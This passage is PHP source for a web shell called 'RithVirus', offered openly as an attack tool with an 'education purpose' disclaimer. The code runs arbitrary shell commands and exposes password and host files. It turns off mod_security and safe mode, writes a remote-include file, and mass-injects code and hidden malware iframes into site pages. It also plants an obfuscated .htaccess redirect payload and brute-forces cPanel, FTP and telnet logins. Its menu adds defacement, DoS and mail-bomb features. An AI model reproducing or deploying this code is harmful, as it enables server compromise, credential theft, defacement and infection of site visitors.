  1132.                         $temp[] = $item;
  1133.                 myparam('Downloaders', implode(', ', $temp));
  1134.                 echo '<br/>';
  1135.                 myparam('HDD space', myexe('df -h'));
  1136.                 myparam('Hosts', @file_get_contents('/etc/hosts'));
  1137.             }
  1138.         } else {
  1139.             echo "Password File : <a href=" . $_SERVER['PHP_SELF'] . "?download=" . $_SERVER["WINDIR"] . "\\repair\sam><b><font class=txt face=Iceland>Download password file</font></b></a><br>";
  1140.             echo "Config Files :  <a href=" . $_SERVER['PHP_SELF'] . "?open=" . $_SERVER["WINDIR"] . "\\system32\drivers\etc\hosts><b><font class=txt face=Iceland>[ Hosts ]</font></b></a> &nbsp;<a href=" . $_SERVER['PHP_SELF'] . "?open=" . $_SERVER["WINDIR"] . "\\system32\drivers\etc\\networks><b><font class=txt face=Iceland>[ Local Network Map ]</font></b></a> &nbsp;<a href=" . $_SERVER['PHP_SELF'] . "?open=" . $_SERVER["WINDIR"] . "\\system32\drivers\etc\lmhosts.sam><b><font class=txt face=Iceland>[ lmhosts ]</font></b></a><br>";
  1141.             $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir")) == "ON") ? "ON" : "OFF";
  1142.             echo "Open Base Dir : <font class=txt face=Iceland>" . $base . "</font><br>";
  1143.             myparam('OS Version', myexe('ver'));
  1144.             myparam('Account Settings', myexe('net accounts'));
  1145.             myparam('User Accounts', myexe('net user'));
  1146.         }
  1147.         echo '</div>';
  1148.     }
  1149.     function myexe($in)
  1150.     {
  1151.         $out = '';
  1152.         if (function_exists('exec')) {
  1153.             @exec($in, $out);
  1154.             $out = @join("\n", $out);
  1155.         } elseif (function_exists('passthru')) {
  1156.             ob_start();
  1157.             @passthru($in);
  1158.             $out = ob_get_clean();
  1159.         } elseif (function_exists('system')) {
  1160.             ob_start();
  1161.             @system($in);
  1162.             $out = ob_get_clean();
  1163.         } elseif (function_exists('shell_exec')) {
  1164.             $out = shell_exec($in);
  1165.         } elseif (is_resource($f = @popen($in, "r"))) {
  1166.             $out = "";
  1167.             while (!@feof($f))
  1168.                 $out .= fread($f, 1024);
  1169.             pclose($f);
  1170.         }
  1171.         return $out;
  1172.     }
  1173.     function exec_all($command)
  1174.     {
  1175.         $output = '';
  1176.         if (function_exists('exec')) {
  1177.             exec($command, $output);
  1178.             $output = join("\n", $output);
  1179.         } else if (function_exists('shell_exec')) {
  1180.             $output = shell_exec($command);
  1181.         } else if (function_exists('popen')) {
  1182.             $handle = popen($command, "r"); // Open the command pipe for reading
  1183.             if (is_resource($handle)) {
  1184.                 if (function_exists('fread') && function_exists('feof')) {
  1185.                     while (!feof($handle)) {
  1186.                         $output .= fread($handle, 512);
  1187.                     }
  1188.                 } else if (function_exists('fgets') && function_exists('feof')) {
  1189.                     while (!feof($handle)) {
  1190.                         $output .= fgets($handle, 512);
  1191.                     }
  1192.                 }
  1193.             }
  1194.             pclose($handle);
  1195.         } else if (function_exists('system')) {
  1196.             ob_start(); //start output buffering
  1197.             system($command);
  1198.             $output = ob_get_contents(); // Get the ouput
  1199.             ob_end_clean(); // Stop output buffering
  1200.         } else if (function_exists('passthru')) {
  1201.             ob_start(); //start output buffering
  1202.             passthru($command);
  1203.             $output = ob_get_contents(); // Get the ouput
  1204.             ob_end_clean(); // Stop output buffering            
  1205.         } else if (function_exists('proc_open')) {
  1206.             $descriptorspec = array(
  1207.                 1 => array(
  1208.                     "pipe",
  1209.                     "w"
  1210.                 ) // stdout is a pipe that the child will write to
  1211.             );
  1212.             $handle         = proc_open($command, $descriptorspec, $pipes); // This will return the output to an array 'pipes'
  1213.             if (is_resource($handle)) {
  1214.                 if (function_exists('fread') && function_exists('feof')) {
  1215.                     while (!feof($pipes[1])) {
  1216.                         $output .= fread($pipes[1], 512);
  1217.                     }
  1218.                 } else if (function_exists('fgets') && function_exists('feof')) {
  1219.                     while (!feof($pipes[1])) {
  1220.                         $output .= fgets($pipes[1], 512);
  1221.                     }
  1222.                 }
  1223.             }
  1224.             pclose($handle);
  1225.         }
  1226.         return (htmlspecialchars($output));
  1227.     }
  1228.     $basedir    = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir")) == "ON") ? "<font class=txt face=Iceland>ON</font>" : "OFF";
  1229.     $etc_passwd = @is_readable("/etc/passwd") ? "Yes" : "No";
  1230. ?>
  1231. <div align="center">
  1232. <a href="<?php
  1233.     $_SERVER['PHP_SELF'];
  1234.     $serverip = @gethostbyname($_SERVER["HTTP_HOST"]);
  1235. ?>"><span class=headtitle><font style="letter-spacing:3px;" face="Iceland" size="6">[-| RithVirus |-]</font></span></a>
  1236. </div>
  1237. <hr color="#1B1B1B">
  1238. <table cellpadding="0" style="width:100%;">
  1239.         <tr>
  1240.                 <td colspan="3" style="width:85%;">System Info : <font class="txt"><?php
  1241.     systeminfo();
  1242. ?></font></td>
  1243.                 <td style="width:15%;"><a href="<?php
  1244.     $_SERVER['PHP_SELF'];
  1245. ?>?com=info" target="_blank"><font class="txt"><i>Software Info</i></font></a></td>
  1246.         </tr>
  1247.         <tr>
  1248.                 <td style="width:85%;" colspan="3">Software : <font class="txt"><?php
  1249.     softwareinfo();
  1250. ?></font></td>
  1251.                 <td style="width:15%;">Server Port : <font class="txt"><?php
  1252.     serverport();
  1253. ?></font></td>
  1254.         </tr>
  1255.         <?php
  1256.     if ($os != 'Windows' || shell_exec("id") != null) {
  1257. ?><tr>
  1258.                 <td style="width:75%;" colspan="3">Uid : <font class="txt"><?php
  1259.         echo shell_exec("id");
  1260. ?></font></td>
  1261.         </tr><?php
  1262.     }
  1263. ?>
  1264.         <tr>
  1265.                 <td style="width:20%;">Disk Space : <font class="txt"><?php
  1266.     diskSpace();
  1267. ?></font></td>
  1268.                 <td style="width:20%;">Free Space : <font class="txt"><?php
  1269.     freeSpace();
  1270. ?></font></td>
  1271.                 <td style="width:20%;">Server IP : <a href="http://whois.domaintools.com/<?php
  1272.     echo'.'$server_ip'.';
  1273. ?>"><font class="txt"><?php
  1274.     serverip();
  1275. ?></font></a></td>
  1276.                 <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php
  1277.     yourip();
  1278. ?>"><font class="txt"><?php
  1279.     yourip();
  1280. ?></font></a></td>
  1281.         </tr>
  1282.         <tr>
  1283.                 <?php
  1284.     if ($os == 'Windows') {
  1285. ?><td style="width:15%;">View Directories : <font class="txt"><?php
  1286.         echo showDrives();
  1287. ?></font></td><?php
  1288.     }
  1289. ?>
  1290.                 <?php
  1291.     if ($os != 'Windows') {
  1292. ?><td colspan=2 style="width:20%;">Current Directory : <font color="#009900"><?php
  1293.         $d = str_replace("\\", $directorysperator, $dir);
  1294.         if (substr($d, -1) != $directorysperator) {
  1295.             $d .= $directorysperator;
  1296.         }
  1297.         $d     = str_replace("\\\\", "\\", $d);
  1298.         $dispd = htmlspecialchars($d);
  1299.         $pd    = $e = explode($directorysperator, substr($d, 0, -1));
  1300.         $i     = 0;
  1301.         foreach ($pd as $b) {
  1302.             $t = '';
  1303.             $j = 0;
  1304.             foreach ($e as $r) {
  1305.                 $t .= $r . $directorysperator;
  1306.                 if ($j == $i) {
  1307.                     break;
  1308.                 }
  1309.                 $j++;
  1310.             }
  1311.             $href = 'dir=' . $t;
  1312.             echo '<a href="' . $self . "?$href\"><b><font class=\"txt\">" . htmlspecialchars($b) . $directorysperator . '</font></b></a>';
  1313.             $i++;
  1314.         }
  1315. ?></font></td><?php
  1316.     }
  1317. ?>
  1318.                 <td style="width:20%;">Disable functions : <font class="txt"><?php
  1319.     echo getDisabledFunctions();
  1320. ?> </font></td>
  1321.                 <td>Safe Mode : <font class=txt face=Iceland><?php
  1322.     echo safe();
  1323. ?></font></td>
  1324.         </tr>
  1325.         </table>
  1326. <table border="2" style="border-color:lime;" width="100%;" cellpadding="2">
  1327.         <tr>
  1328.                 <td style="border:none;"><a href="<?php
  1329.     echo $self . '?symlinkserver';
  1330. ?>"><font class="mainmenu">[Symlink]</font></a></td>
  1331.                 <td style="border:none;"><a href="<?php
  1332.     echo $self . '?forum';
  1333. ?>"><font class=mainmenu>[Forum]</font></a></td>
  1334.                 <td style="border:none;"><a href="<?php
  1335.     echo $self . '?secinfo';
  1336. ?>"><font class=mainmenu>[Sec. Info]</font></a></td>
  1337.                 <td style="border:none;"><a href="<?php
  1338.     echo $self . '?injector';
  1339. ?>"><font class=mainmenu>[Code Inject]</font></a></td>
  1340.                 <td style="border:none;"><a href="<?php
  1341.     echo $self . '?bypass';
  1342. ?>"><font class=mainmenu>[Bypassers]</font></a></td>
  1343.                 <td style="border:none;"><a href="<?php
  1344.     echo $self . '?fuzz';
  1345. ?>"><font class=mainmenu>[Server Fuzzer]</font></a></td>
  1346.                 <td style="border:none;"><a href="<?php
  1347.     echo $self . '?zone';
  1348. ?>"><font class=mainmenu>[Zone-h]</font></a></td>
  1349.                 <td style="border:none;"><a href="<?php
  1350.     echo $self . '?dos';
  1351. ?>"><font class=mainmenu>[DoS]</font></a></td>
  1352.                 <td style="border:none;"><a href="<?php
  1353.     echo $self . '?mailbomb';
  1354. ?>"><font class=mainmenu>[Mail]</font></a></td>
  1355.                 <td style="border:none;"><a href="<?php
  1356.     echo $self . '?tools';
  1357. ?>"><font class=mainmenu>[Tools]</font></a></td>
  1358.                 <td style="border:none;"><a href="<?php
  1359.     echo $self . '?phpc';
  1360. ?>"><font class=mainmenu>[PHP]</font></a></td>
  1361.                 <td style="border:none;"><a href="<?php
  1362.     echo $self . '?exploit';
  1363. ?>"><font class=mainmenu>[Exploit]</font></a></td>
  1364.                 <td style="border:none;"><a href="<?php
  1365.     echo $self . '?connect';
  1366. ?>"><font class=mainmenu>[Connect]</font></a></td>
  1367.                 <td style="border:none;"><a href="<?php
  1368.     echo $self . '?database';
  1369. ?>"><font class=mainmenu>[SQL]</font></a></td>
  1370.         </tr>
  1371. </table>
  1372. <div style="float:left;">
  1373.         <a href="javascript:history.back(1)"><font style="font-size:14px;"> [Back] </font></a>&nbsp;
  1374.         <a href="javascript:history.go(1)"><font style="font-size:14px;"> [Forward] </font></a>&nbsp;
  1375.         <a href=""><font style="font-size:14px;"> [Refresh] </font></a>&nbsp;</div>
  1376. <table style="margin-left:270px; border-color:#333333;" border="2" width="60%;" cellpadding="2">
  1377.         <tr align="center">
  1378.                 <td style="border:none;"><a href="<?php
  1379.     echo $self . '?404';
  1380. ?>"><font class=mainmenu>[404 Page]</font></a></td>
  1381.                 <td style="border:none;"><a href="<?php
  1382.     echo $self . '?malattack&dir=' . $dir;
  1383. ?>"><font class=mainmenu>[Malware Attack]</a></td>
  1384.                 <td style="border:none;"><a href="<?php
  1385.     echo $self . '?cpanel';
  1386. ?>"><font class=mainmenu>[Cpanel Cracker]</font></a></td>
  1387.                 <td style="border:none;"><a href="<?php
  1388.     echo $self . '?about';
  1389. ?>"><font class=mainmenu>[About]</font></a></td>
  1390.                 <td style="border:none;"><a href="<?php
  1391.     echo $self . '?selfkill';
  1392. ?>" onClick="if(confirm('Are You Sure You Want To Kill This Shell ?')){return true;}else{return false;}"><font class=mainmenu>[SelfKill]</font></a></td>
  1393.                 <td style="border:none;"><a href="<?php
  1394.     echo $self . '?logout';
  1395. ?>"><font class=mainmenu>[LogOut]</font></a></td>
  1396.         </tr>
  1397. </table>
  1398. <table align="center" class="pwdtbl"><br>
  1399.     <tr>
  1400.         <form method="GET"  action="<?php
  1401.     echo $self;
  1402. ?>">
  1403.         <td style="width:35%;" align="right"> <font style="font-size:14px;">Present Working Directory</font> : </td><td style="width:20%;"><input name="dir" class="box" style="width:300px;" value="<?php
  1404.     if ($dir == null) {
  1405.         echo getcwd();
  1406.     } else {
  1407.         echo $dir;
  1408.     }
  1409. ?>"/></td>
  1410.         <td><input type="submit" value="  Go  " class="but" /></td><td align="right"><?php
  1411.     if ($os == "Linux") {
  1412. ?>
  1413.                 <a href="<?php
  1414.         echo $self . '?downloadit';
  1415. ?>"><font class="txt">Download It</font></a><?php
  1416.     }
  1417. ?></td>
  1418.         </form>
  1419.     </tr>
  1420. </table>
  1421. <?php
  1422.     if (isset($_POST['pathtomass']) && $_POST['pathtomass'] != '' && isset($_POST['filetype']) && $_POST['filetype'] != '' && isset($_POST['mode']) && $_POST['mode'] != '' && isset($_POST['injectthis']) && $_POST['injectthis'] != '') {
  1423.         //$dir = $_GET['dir'];
  1424.         $filetype = $_POST['filetype'];
  1425.         //$message = $_GET['message'];
  1426.         $mode     = "a"; //default mode
  1427.         // Modes Begin
  1428.         if ($_POST['mode'] == 'Apender') {
  1429.             $mode = "a";
  1430.         }
  1431.         if ($_POST['mode'] == 'Overwriter') {
  1432.             $mode = "w";
  1433.         }
  1434.         if ($_POST['filetype'] == 'php') {
  1435.             if (is_dir($_POST['pathtomass'])) {
  1436.                 $lolinject = $_POST['injectthis'];
  1437.                 foreach (glob($_POST['pathtomass'] . $directorysperator . "*.php") as $injectj00) {
  1438.                     $fp = fopen($injectj00, $mode);
  1439.                     if (fputs($fp, $lolinject)) {
  1440.                         echo '<br><font class=txt face=Iceland>' . $injectj00 . ' was injected<br></font>';
  1441.                     } else {
  1442.                         echo 'failed to inject ' . $injectj00 . '';
  1443.                     }
  1444.                 }
  1445.             } else { //end if inputted dir is real -- if not, show an ugly red error
  1446.                 echo '<b>' . $_POST['pathtomass'] . ' is not available!</b>';
  1447.             } // end if inputted dir is real, for real this time
  1448.         } // end if confirmation to mass sploit is php only
  1449.     } // end if massbrowsersploit is called
  1450.     if (isset($_GET['set404'])) {
  1451.         echo "<center><blink><font color=lime>Done setting 404 Page</font></blink></center>";
  1452.     }
  1453.     if (isset($_GET['cannotset404'])) {
  1454.         echo "<center><blink><font color=red>Cannot Set 404 Page</font></blink></center>";
  1455.     }
  1456.     if (isset($_GET['to']) && isset($_GET['file'])) {
  1457.         if (!rename($_GET['file'], $_GET['to'])) {
  1458.             $loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET['getdir'];
  1459.             header("Location:$loc");
  1460.             ob_end_flush();
  1461.         } else {
  1462.             $loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET['getdir'];
  1463.             header("Location:$loc");
  1464.             ob_end_flush();
  1465.         }
  1466.     }
  1467.     if (isset($_POST["changeperms"])) {
  1468.         if ($_POST['chmode'] != null && is_numeric($_POST['chmode'])) {
  1469.             $perms = 0;
  1470.             for ($i = strlen($_POST['chmode']) - 1; $i >= 0; --$i)
  1471.                 $perms += (int) $_POST['chmode'][$i] * pow(8, (strlen($_POST['chmode']) - $i - 1));
  1472.             if (@chmod($_POST['myfilename'], $perms))
  1473.                 echo "<center><blink><font size=3>File Permissions Changed Successfully</font></blink></center>";
  1474.             else
  1475.                 echo "<center><blink><font size=3 class=txt face=Iceland>Cannot Change File Permissions</font></blink></center>";
  1476.         }
  1477.     }
  1478.     $setuploadvalue = 0;
  1479.     if (isset($_POST['u'])) {
  1480.         $path = $_REQUEST['path'];
  1481.         if (is_dir($path)) {
  1482.             $uploadedFilePath = $_FILES['uploadfile']['name'];
  1483.             //echo $uploadedFilePath;
  1484.             $tempName         = $_FILES['uploadfile']['tmp_name'];
  1485.             //echo $tempName;
  1486.             if ($os == "Windows")
  1487.                 $uploadPath = $path . $directorysperator . $uploadedFilePath;
  1488.             else if ($os == "Linux")
  1489.                 $uploadPath = $path . $directorysperator . $uploadedFilePath;
  1490.             if ($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadPath)) {
  1491.                 echo "<center><font class=txt face=Iceland size=3><blink>File uploaded to $uploadPath</blink></font></center>";
  1492.                 //header("Location:");                      
  1493.             } else {
  1494.                 echo "<center><font size=3><blink>Failed to upload file to $uploadPath</blink></font></center>";
  1495.             }
  1496.         }
  1497.     }
  1498.     if (isset($_POST['createdir'])) {
  1499.         if (!mkdir($_POST['createfolder']))
  1500.             echo "Failed To create";
  1501.     }
  1502.     if (isset($_POST['createmyfile']) && isset($_POST['filecontent'])) {
  1503.         $content      = $_POST['filecontent'];
  1504.         $file_pointer = fopen($_POST['filecreator'], "w+");
  1505.         fwrite($file_pointer, $content);
  1506.         fclose($file_pointer);
  1507.         $loc = $_SERVER['REQUEST_URI'];
  1508.         header("Location:$loc");
  1509.         ob_end_flush();
  1510.     }
  1511.     //Turn Safe Mode Off
  1512.     if (getDisabledFunctions() != "None" || safe() != "OFF") {
  1513.         $file_pointer = fopen(".htaccess", "w+");
  1514.         fwrite($file_pointer, "<IfModule mod_security.c>
  1515.                                SecFilterEngine Off
  1516.                                         SecFilterScanPOST Off
  1517.                                        </IfModule>");
  1518.         $file_pointer = fopen("ini.php", "w+");
  1519.         fwrite($file_pointer, "<?
  1520. echo ini_get(\"safe_mode\");
  1521. echo ini_get(\"open_basedir\");
  1522. include(\$_GET[\"file\"]);
  1523. ini_restore(\"safe_mode\");
  1524. ini_restore(\"open_basedir\");
  1525. echo ini_get(\"safe_mode\");
  1526. echo ini_get(\"open_basedir\");
  1527. include(\$_GET[\"ss\"]);
  1528. ?>");
  1529.         $file_pointer = fopen("php.ini", "w+");
  1530.         fwrite($file_pointer, "safe_mode               =       Off");
  1531.         fclose($file_pointer);
  1532.         //echo "Safe Mode Is Now Off..";
  1533.     }
  1534.     if (isset($_GET["downloadit"])) {
  1535.         $FolderToCompress = getcwd();
  1536.         execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
  1537.         $prd = explode("/", "backup.tar");
  1538.         for ($i = 0; $i < sizeof($prd); $i++) {
  1539.             $nfd = $prd[$i];
  1540.         }
  1541.         @ob_clean();
  1542.         header("Content-type: application/octet-stream");
  1543.         header("Content-length: " . filesize($nfd));
  1544.         header("Content-disposition: attachment; filename=\"" . $nfd . "\";");
  1545.         readfile($nfd);
  1546.         exit;
  1547.     }
  1548.     if (isset($_POST['uploadurl'])) {
  1549.         $functiontype = trim($_POST['functiontype']);
  1550.         $wurl         = trim($_POST['wurl']);
  1551.         $path         = magicboom($_POST['path']);
  1552.         $namafile     = remotedownload($functiontype, $wurl);
  1553.         $fullpath     = $path . $directorysperator . $namafile;
  1554.         if (is_file($fullpath)) {
  1555.             echo "<center><font class=txt face=Iceland size=3>File uploaded to $fullpath</font></center>";
  1556.         } else
  1557.             echo "<center><font size=3>Failed to upload $namafile</font></center>";
  1558.     } else if (isset($_GET['about'])) {
  1559. ?>
  1560.                 <bR><center>
  1561.                   <p><font size=6><u>R I T H V I R U S</u></font><br>
  1562.                       <font size=5>[-| RithVirus |-]</font><br>
  1563.                     <br></center>
  1564.                 RithVirus Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it<br><br><center><font size=5>GREETZ To All Malaysia Hackers</font><br></center><br>
  1565.         <?php
  1566.     }
  1567.     // Zone-h Poster
  1568.     else if (isset($_GET["zone"])) {
  1569.         if (!function_exists('curl_version')) {
  1570.             echo "<pre class=ml1 style='margin-top:5px'><center><font class=txt face=Iceland>PHP CURL NOT EXIT</font></center></pre>";
  1571.         }
  1572. ?>
  1573.                 <center><font size="4">Zone-h Poster</font></center>
  1574.                 <form action="<?php
  1575.         echo $self;
  1576. ?>" method="post">
  1577.                 <table align="center" cellpadding="5" border="0">
  1578.                 <tr>
  1579.                 <td>
  1580.                 <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
  1581.                 <tr><td>
  1582.                 <select name="hackmode" class="box">
  1583.                         <option >--------SELECT--------</option>
  1584.                         <option value="1">known vulnerability (i.e. unpatched system)</option>
  1585.                         <option value="2" >undisclosed (new) vulnerability</option>
  1586.                         <option value="3" >configuration / admin. mistake</option>
  1587.                         <option value="4" >brute force attack</option>
  1588.                         <option value="5" >social engineering</option>
  1589.                         <option value="6" >Web Server intrusion</option>
  1590.                         <option value="7" >Web Server external module intrusion</option>
  1591.                         <option value="8" >Mail Server intrusion</option>
  1592.                         <option value="9" >FTP Server intrusion</option>
  1593.                         <option value="10" >SSH Server intrusion</option>
  1594.                         <option value="11" >Telnet Server intrusion</option>
  1595.                         <option value="12" >RPC Server intrusion</option>
  1596.                         <option value="13" >Shares misconfiguration</option>
  1597.                         <option value="14" >Other Server intrusion</option>
  1598.                         <option value="15" >SQL Injection</option>
  1599.                         <option value="16" >URL Poisoning</option>
  1600.                         <option value="17" >File Inclusion</option>
  1601.                         <option value="18" >Other Web Application bug</option>
  1602.                         <option value="19" >Remote administrative panel access bruteforcing</option>
  1603.                         <option value="20" >Remote administrative panel access password guessing</option>
  1604.                         <option value="21" >Remote administrative panel access social engineering</option>
  1605.                         <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  1606.                         <option value="23" >Access credentials through Man In the Middle attack</option>
  1607.                         <option value="24" >Remote service password guessing</option>
  1608.                         <option value="25" >Remote service password bruteforce</option>
  1609.                         <option value="26" >Rerouting after attacking the Firewall</option>
  1610.                         <option value="27" >Rerouting after attacking the Router</option>
  1611.                         <option value="28" >DNS attack through social engineering</option>
  1612.                         <option value="29" >DNS attack through cache poisoning</option>
  1613.                         <option value="30" >Not available</option>
  1614.                 </select>
  1615.                 </td></tr>
  1616.                 <tr><td>
  1617.                 <select name="reason" class="box">
  1618.                         <option >--------SELECT--------</option>
  1619.                         <option value="1" >Heh...just for fun!</option>
  1620.                         <option value="2" >Revenge against that website</option>
  1621.                         <option value="3" >Political reasons</option>
  1622.                         <option value="4" >As a challenge</option>
  1623.                         <option value="5" >I just want to be the best defacer</option>
  1624.                         <option value="6" >Patriotism</option>
  1625.                         <option value="7" >Not available</option>
  1626.                 </select></td></tr>
  1627.                 <tr><td>
  1628.                 <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
  1629.                 <tr><td>
  1630.                 <input type="submit" class="but" value="Send Now !" name="SendNowToZoneH" /></td></tr></table>
  1631.                 </form>
  1632.         <?php
  1633.     }
  1634.     // Deface Website
  1635.     else if (isset($_GET['deface'])) {
  1636.         $myfile = fopen($_GET['deface'], 'w');
  1637.         fwrite($myfile, base64_decode($deface));
  1638.         fclose($myfile);
  1639.         header("Location:$self");
  1640.         ob_end_flush();
  1641.     }
  1642.     // Cpanel Cracker
  1643.     else if (isset($_REQUEST['cpanel'])) {
  1644.         $cpanel_port     = "2082";
  1645.         $connect_timeout = 5;
  1646.         if (!isset($_POST['username']) && !isset($_POST['password']) && !isset($_POST['target']) && !isset($_POST['cracktype'])) {
  1647. ?>
  1648.                 <center>
  1649.                 <form method=post>
  1650.                 <table style="width:50%;" class=tbl border=1 cellpadding=4>
  1651.                         <tr>
  1652.                                 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
  1653.                         </tr>
  1654.                         <tr>
  1655.                                 <td align=center>User names</td><td align=center>Password</td>
  1656.                         </tr>
  1657.                         <tr>
  1658.                                 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
  1659.             if ($os != "Windows") {
  1660.                 if (@file('/etc/passwd')) {
  1661.                     $users = file('/etc/passwd');
  1662.                     foreach ($users as $user) {
  1663.                         $user = explode(':', $user);
  1664.                         echo $user[0] . "\n";
  1665.                     }
  1666.                 } else {
  1667.                     $temp = "";
  1668.                     $val1 = 0;
  1669.                     $val2 = 1000;
  1670.                     for (; $val1 <= $val2; $val1++) {
  1671.                         $uid = @posix_getpwuid($val1);
  1672.                         if ($uid)
  1673.                             $temp .= join(':', $uid) . "\n";
  1674.                     }
  1675.                     $temp = trim($temp);
  1676.                     if ($file5 = fopen("test.txt", "w")) {
  1677.                         fputs($file5, $temp);
  1678.                         fclose($file5);
  1679.                         $file = fopen("test.txt", "r");
  1680.                         while (!feof($file)) {
  1681.                             $s       = fgets($file);
  1682.                             $matches = array();
  1683.                             $t       = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1684.                             $matches = str_replace("home/", "", $matches[1]);
  1685.                             if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1686.                                 continue;
  1687.                             echo $matches;
  1688.                         }
  1689.                         fclose($file);
  1690.                     }
  1691.                 }
  1692.             }
  1693. ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
  1694.                         </tr>
  1695.                         <tr>
  1696.                                 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
  1697.                         </tr>
  1698.                         <tr>
  1699.                                 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
  1700.                         </tr>
  1701.                         <tr>
  1702.                                 <td align=center colspan=2><input type="submit" value="   Go    " class=but></td>
  1703.                         </tr>
  1704.                 </table>
  1705.                 </form>
  1706.                 </center>
  1707.                 <?php
  1708.         } else {
  1709.             if (empty($_POST['username']) || empty($_POST['password']))
  1710.                 echo "<center>Please Enter The Users or Password List</center>";
  1711.             else {
  1712.                 $userlist = explode("\n", $_POST['username']);
  1713.                 $passlist = explode("\n", $_POST['password']);
  1714.                 if ($_POST['cracktype'] == "ftp") {
  1715.                     foreach ($userlist as $user) {
  1716.                         $pureuser = trim($user);
  1717.                         foreach ($passlist as $password) {
  1718.                             $purepass = trim($password);
  1719.                             ftp_check($_POST['target'], $pureuser, $purepass, $connect_timeout);
  1720.                         }
  1721.                     }
  1722.                 }
  1723.                 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet") {
  1724.                     if ($cracktype == "telnet") {
  1725.                         $cpanel_port = "23";
  1726.                     } else
  1727.                         $cpanel_port = "2082";
  1728.                     foreach ($userlist as $user) {
  1729.                         $pureuser = trim($user);
  1730.                         echo "<b><font face=Tahoma style=\"font-size: 11pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 11pt\" color=#FF0800>
  1731.                                                Processing user $pureuser ...</font></b><br><br>";
  1732.                         foreach ($passlist as $password) {
  1733.                             $purepass = trim($password);
  1734.                             cpanel_check($_POST['target'], $pureuser, $purepass, $connect_timeout);
  1735.                         }
  1736.                     }
  1737.                 }
  1738.             }
  1739.         }
  1740.     }
  1741.     // Deface Website
  1742.     else if (isset($_REQUEST['malattack'])) {
  1743. ?>
  1744.                 <center><table><tr><td><a href="<?php
  1745.         echo $self;
  1746. ?>?malattack&malware&dir=<?php
  1747.         echo $_GET['dir'];
  1748. ?>"><font size="4">| Malware Attack |</font></a></td>
  1749.                 <td><a href="<?php
  1750.         echo $self;
  1751. ?>?malattack&codeinsert"><font size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
  1752.                 <?php
  1753.         if (isset($_GET['malware'])) {
  1754. ?>
  1755.                 <center><table><tr><td><a href="<?php
  1756.             echo $self;
  1757. ?>?malattack&malware&infect&dir=<?php
  1758.             echo $_GET['dir'];
  1759. ?>"><font size="4">| Infect Users |</font></a></td>
  1760.                 <td><a href="<?php
  1761.             echo $self;
  1762. ?>?malattack&malware&redirect"><font size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
  1763.                 <?php
  1764.             if (isset($_GET['redirect'])) {
  1765.                 if ($myfile = fopen(".htaccess", 'a')) {
  1766.                     $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
  1767.                     fwrite($myfile, gzuncompress(base64_decode($mal)));
  1768.                     fwrite($myfile, "\n\r");
  1769.                     fclose($myfile);
  1770.                     $mydir = "dir=" . $_GET['dir'];
  1771.                     header("Location:$self?malattack&$mydir");
  1772.                     ob_end_flush();
  1773.                 } else
  1774.                     echo "<center>Cannot open file !!!!<center>";
  1775.             } else if (isset($_GET['infect'])) {
  1776.                 $coun = 0;
  1777.                 $str  = "<iframe width=0px height=0px frameborder=no name=frame1 src=" . $malsite . "> </iframe>";
  1778.                 foreach (glob($_GET['dir'] . $directorysperator . "*.php") as $injectj00) {
  1779.                     if ($myfile = fopen($injectj00, 'a')) {
  1780.                         fputs($myfile, $str);
  1781.                         fclose($myfile);
  1782.                     } else
  1783.                         $coun = 1;
  1784.                 }
  1785.                 foreach (glob($_GET['dir'] . $directorysperator . "*.htm") as $injectj00) {
  1786.                     if ($myfile = fopen($injectj00, 'a')) {
  1787.                         fputs($myfile, $str);
  1788.                         fclose($myfile);
  1789.                     } else
  1790.                         $coun = 1;
  1791.                 }
  1792.                 foreach (glob($_GET['dir'] . $directorysperator . "*.html") as $injectj00) {
  1793.                     if ($myfile = fopen($injectj00, 'a')) {
  1794.                         fputs($myfile, $str);
  1795.                         fclose($myfile);
  1796.                     } else
  1797.                         $coun = 1;
  1798.                 }
  1799.                 if ($coun == 0)
  1800.                     echo "<center>Done !!!!<center>";
  1801.                 else
  1802.                     echo "<center>Cannot open files !!!!<center>";
  1803.             }
  1804.         } else if (isset($_GET['codeinsert'])) {
  1805.             if (!isset($_POST['code'])) {
